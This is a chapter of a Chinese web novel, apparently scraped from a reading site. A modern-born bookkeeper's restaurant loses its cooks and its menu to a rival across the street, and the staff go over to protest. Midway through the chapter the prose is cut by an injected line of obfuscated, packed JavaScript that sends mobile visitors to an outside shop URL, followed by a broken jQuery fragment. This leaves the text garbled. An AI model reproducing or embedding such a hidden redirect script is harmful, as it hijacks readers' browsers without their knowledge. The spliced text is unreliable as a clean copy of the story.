苏鸢指尖微蜷,乌黑卷翘的睫羽轻扇,她扭头看了眼云溪,又继续低头练字。
第二日一早,苏鸢见院子被打扫得干干净净,石桌上还摆了些清雅宜人的萱草。
云溪穿着以前的衣裳,在膳房煮鸡蛋面。
苏鸢用冷水洗了把脸,清醒些后,走到膳房门口帮忙。
两人早早吃好,便一同出去。
将先前埋在院子的果子酒挖出,在集市上买了些茶叶点心补药,两人一块去书肆看望掌柜。
走到书肆附近,苏鸢将东西全部塞给云溪,让他一人去拜见掌柜,自己则是去附近的铺子逛买物什。
云溪失笑,提着一堆东西艰难朝书肆挪动。
到了书肆,见了掌柜,免不了寒暄手谈几局,云溪出去时,见苏鸢在树荫下蹲着遮阳。
她一向如此引人注目无拘无束,不会因为别人的眼神让自己不自在。
云溪走到她跟前,替她遮着阳,视线落在她身侧那堆东西上时,一阵哑口无言。
云溪充当苦力将东西搬回去后,苏鸢便迫不及待地坐在石墩上开始一个个分配。
“这是给你买的新衣裳,这是书肆新上的策论集、骈文册、还有这是一只文房初毫……”
她将东西分完后,抱着自己的一堆衣裳胭脂回去试。
苏鸢向来喜欢发工钱后犒劳辛勤的自己,前面日日上值没空购物,如今得闲,倒是让她逛安逸了。
午时,两人吃完饭,苏鸢做了些糕点给云溪装着,傍晚便送他回书院。
云溪指尖轻动:“想不想去我们书院里面看看?”
苏鸢歪头问:“可以吗?”
云溪应一声,苏鸢本以为他要带她走正门,结果他转身带着她爬树进去了。
苏鸢:“……”
书院内翠竹林立,绿茵繁茂,简约古朴的建筑层层叠叠,一个晃神极容易迷路,幽幽小径上,开着不知名的野花。
一路走去,倒是没碰见什么人。
苏鸢跟着逛了书院的书堂,学堂,武堂和膳堂后,云溪送她出了书院。
临走时,云溪往她手里放了一个东西。
苏鸢走到有光亮的地方一看,是一个书签,看上去像是自己做的那种竹叶书签。
她收好书签往回走,在打更前回到院中洗漱休憩。
七月初五这日,醉云楼对面那半遮半掩的酒楼终于露出庐山真面目,取名叫膳合堂。
开业当日鞭炮轰鸣,锣鼓喧天,吸引了不少人去试水。
不过这样的盛况维持了两日便断了。
苏鸢为打探情报也去膳合堂吃过一次,平心而论,店家厨艺很不错,火候把控也到位,就是选错地方了。
苏鸢颇为惋惜,打包餐食时,听见不少客人在里面讨论着醉云楼的糖醋排骨,又拿膳合堂同醉云楼好一番比较,从店面到口味,将膳合堂贬成只是个有钱的莽子。
苏鸢走时见膳合堂师傅们脸都绿了。
……
日子像磨轮一般,一圈圈一天天转的飞快。
苏鸢挽着发髻戴着木簪,娴静的模样颇有几分岁月静好。
小郎抓了一把酥糖给她,未被书本手机污染过的眼睛视力极好,他手撑在桌面,见对面楼下人头攒动,颇好奇地扫了一眼。
他撕糖纸的动作一顿,立马横眉竖眼破骂道:“苏姐姐,你看看对面贴的。”
苏鸢闻言抬起头来,她有些轻微近视,看东西时眼神会下意识虚眯几分。
她眉心拢聚成小峰,仔细看去,见膳合堂门口张贴了一份新菜单。
价格实惠不说,菜色也比先前诱人不少,如果那些菜单上的菜没那么眼熟就好。
小郎愤愤不平道:“他们怎么这样!!那分明是我们家的菜单!!!”
苏鸢舒展眉心,宽慰小郎道:“吃食这个东西,就算是同一道菜,每个师傅做出来的滋味也各不相同。”
先前甜水和糖醋排骨也不是没有别的吃食店铺做过,只是像膳合堂这般大摇大摆在醉云楼对面打擂台的少。
不过每个师傅的手艺路数不一样,做惯清淡美食的师傅,你让他做其他滋味的,在调味上的把握自然不及做自己擅长的得心应手。
小郎一想也想通了,没再分给膳合堂一个眼神。
苏鸢低下头继续翻着账本,日头渐渐升高,直到做甜水的大娘进入酒楼,她才猛地抬头看时辰。
大娘家里有个小孩上学堂,大娘都是送完孩子才来酒楼,除去掌柜,大娘就是每天到得最晚的人,可如今连大娘都到了,三个师傅却还没人影。
苏鸢合上书册,走到膳房一瞧,冷锅冷灶,连带着帮厨的墩子也没来。
大娘哎呀呀的叫:“咋回事,这五人莫不是忘了今日上值?”
外面忙碌的几个小二闻言停下手中摆碗筷泡茶的动作忙赶来看。
素日膳房锅碗瓢盆噼里啪啦地响,如今静得有些荒唐。
几个小二七嘴八舌说着是不是睡过头了。
苏鸢心头否认,怎么可能,睡过头一个还说的过去,整整五个人怎么可能都睡过头。
脑海中念头一闪而过,耳边便传来掌柜睡意迷茫的声音:“你们一个两个不好好上值忙活,围在膳房干什么?”
大娘是个嘴快的,直接嚷道:“哎呦喂,还上什么值啊,掌柜你快来瞅瞅,几个师傅一个都没来,这是咋回事啊?”
掌柜心道:“我刚来我咋知道咋回事。”
他匆匆挤进去一扫,眉头拧着:“是我近些月对你们太宽容了吗?连自己上不上值都不知道,小齐小李,你们去他们屋里喊喊,把这几个人给我喊醒,非得扣半个月俸禄,叫他们长长记性才行。”
小齐小李刚应下,苏鸢就虚虚伸手将两人拦下。
她秀气的眉头微颦,道:“不用去了,我大概已经知道他们在哪了。”
掌柜嚷道:“哪呢?”
苏鸢手指着对面膳合堂,掌柜原先的瞌睡已经消了大半,此刻走到门口一看,一眼就看见那膳合堂门口的新菜单。
掌柜眉心突突,破口大骂:“这群臊皮不要脸的,敢偷我菜还挖我人?!”
他伸手捞起灰衫袖子,嚷道:“别忙了,把店关了,今个开不了张,抄家伙上对面讨个说法去。”
刚抄上东西下楼,隔壁的老邻居连忙将他拦了下来,努努嘴道:“别冲动,别冲动,那膳合堂背后有人,你跟它硬刚到时候怎么进去都不知道。”
掌柜:“?说的像我背后没人似的,丫的跟他干!!”
老邻居伸手抱着他,不让他走:“你后面那人离得多远,远水解不了近渴你难道不清楚,等你后面人来捞你,你早进去掉一层皮了”
掌柜怄气地放下菜刀:“他丫的挖我厨子!对于干酒楼的,挖人厨子跟断人财路有什么区别!!!”
老邻居:“再怎么也不能拿菜刀砍人,命不要了,你想想你夫人还在家呢,你丫的脑子不好使易冲动……”
掌柜闻言意外冷静了些,他拿着菜刀指着自己府邸方向道:“小齐,去把这事告诉夫人。”
一炷香后,美妇人风风火火的跑来,一脸匪气地挽着袖子:“丫的,干它!”
老邻居:“……”
苏鸢凑到他旁边打听:“对面是个什么情况?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17924095|213514||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
老邻居扫了眼她有些无理的动作,凝噎片刻道:“前些日子我见到原先对面茶馆老张了,整个人跟被吸干精气一样,只剩个皮包骨,我问他怎么把铺子给租卖了,毕竟那是他爹娘给他留的唯一遗产,结果他只对着我哭,扭头就投河自杀了。
后面我打听才知道,对面那些铺子有好些都不是正经买来的,是强占的,像老张这样不同意的,直接压着跟犯人一样关起来了,同意了才给放出来。”
苏鸢闻言,心头升起一股强烈的不适感。
夫人在旁听到这话,富态的面庞怒意腾升:“一群不干人事的狗杂碎,伙计们抄家伙,走!!”
苏鸢默默回去抱了一壶滚烫的茶水,邻居老伯哎呦哎呦地叫着,掌柜思索片刻道:“小郎你扶着老伯回屋去,待会就别过来了。”
小郎不悦的努嘴,道:“啊?”
见夫人掌柜苏鸢都叫他别来,他只好垂丧着脑袋扶着老伯,道:“好吧。”
醉云楼的大伙轰轰烈烈地走去膳合堂,走近些,掌柜看着门口拉的横幅,只见那大红绫布上洋洋洒洒写着几行字。
——醉云楼同款菜肴,一样的滋味,更实惠的价格。
配合着一旁的菜单和新店送菜活动一起,看的掌柜火冒三丈。
他叉着腰在门口大声叫骂,架势气吞山河,雄霸天下:“狗杂碎,抢生意抢到你爷爷头上了,你们掌柜是谁,把他给我叫出来!!”
“不要脸的东西,把我酒楼厨子挖了,自己做这缺德事就不怕断子绝孙,生的小孩没□□吗!”
他骂两声,见只有自己一个人在嚷,不满的对着身后几个伙计道:“愣着干嘛,一块骂!”
苏鸢在身后抱着一壶滚烫的茶水往门口的发财树上浇。
夫人一扫眼,拦着她不争气道:“干嘛,我们是来找场子的,你怎么还帮他家浇水。”
苏鸢道:“这是滚水。”
夫人伸手摸了摸壶,面上立马扬起一丝得意的笑来:“好样的,多浇点。”
一群人在门口嚷着,自然也扰的膳合堂今日没什么生意。
不过一时出出气倒是可以,总不能日日守在这骂。
招新师傅,磨合又耗费了不少时间,因为师傅变动,滋味同先前有了差异,再加上膳合堂在价格上大作文章,不少食客都去了膳合堂,幸亏甜水撑着一日的进账,不至于让账本过于惨不忍睹。
但同上个月比起来,实在算得上天壤之别。
没什么生意,几个伙计跟掌柜日日在门口叹气。
苏鸢垂眸看着账目,脑海中想着自己曾经爱吃的酸甜口的东西。
可乐鸡翅,但这个时代又没有可乐。
糖醋里脊?糖醋荷包蛋?
实际上很多糖醋口味的做法大相径庭,之前那批师傅会做糖醋排骨,她们只能打时间差,但后面还是会被照搬过去。
太多糖醋味的菜冒出来,大众对它的新奇感也会下降。
天幕渐沉,黄晓汲光,掌柜面容惨淡,宛如霜打的茄子,他恹恹地垂着眼皮,倦怠席卷全身。
价格战,他们不是不会打,可一旦开了这个先河,之前的食客必然会生出不满,膳合堂的价格虽便宜,可现阶段是亏着钱同醉云楼打擂台。
先前三个师傅两个帮墩在醉云楼工资便不低,能叫几人在月末舍弃一月工钱跳槽,膳合堂许诺的必然不会少。
只要耗上半个月,膳合堂必然要重新规调价格,道理大家都懂,可座无虚席,脚不沾地的忙碌就在昨日,而如今这人庭冷落、客从寥寥的落差感如鲠在喉,叫人气闷。
难不成,真只能眼睁睁看着对面风光得意?